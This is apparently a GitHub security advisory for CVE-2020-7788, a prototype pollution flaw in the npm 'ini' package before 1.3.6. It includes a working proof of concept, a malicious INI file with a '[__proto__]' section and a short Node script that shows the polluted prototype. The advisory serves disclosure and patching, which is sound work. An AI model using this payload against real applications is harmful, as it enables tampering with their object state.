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Prototype Pollution

High severity GitHub Reviewed Published Dec 10, 2020 • Updated Jul 28, 2021

Package

npm ini (npm)

Affected versions

< 1.3.6

Patched versions

1.3.6

Description

Overview

The ini npm package before version 1.3.6 has a Prototype Pollution vulnerability.

If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.

Patches

This has been patched in 1.3.6

Steps to reproduce

payload.ini

[__proto__]
polluted = "polluted"

poc.js:

var fs = require('fs')
var ini = require('ini')

var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))
console.log(parsed)
console.log(parsed.__proto__)
console.log(polluted)
> node poc.js
{}
{ polluted: 'polluted' }
{ polluted: 'polluted' }
polluted

References

Severity

High
7.3
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Weaknesses

CVE ID

CVE-2020-7788

GHSA ID

GHSA-qqgx-2p2h-9c37

Source code

No known source code
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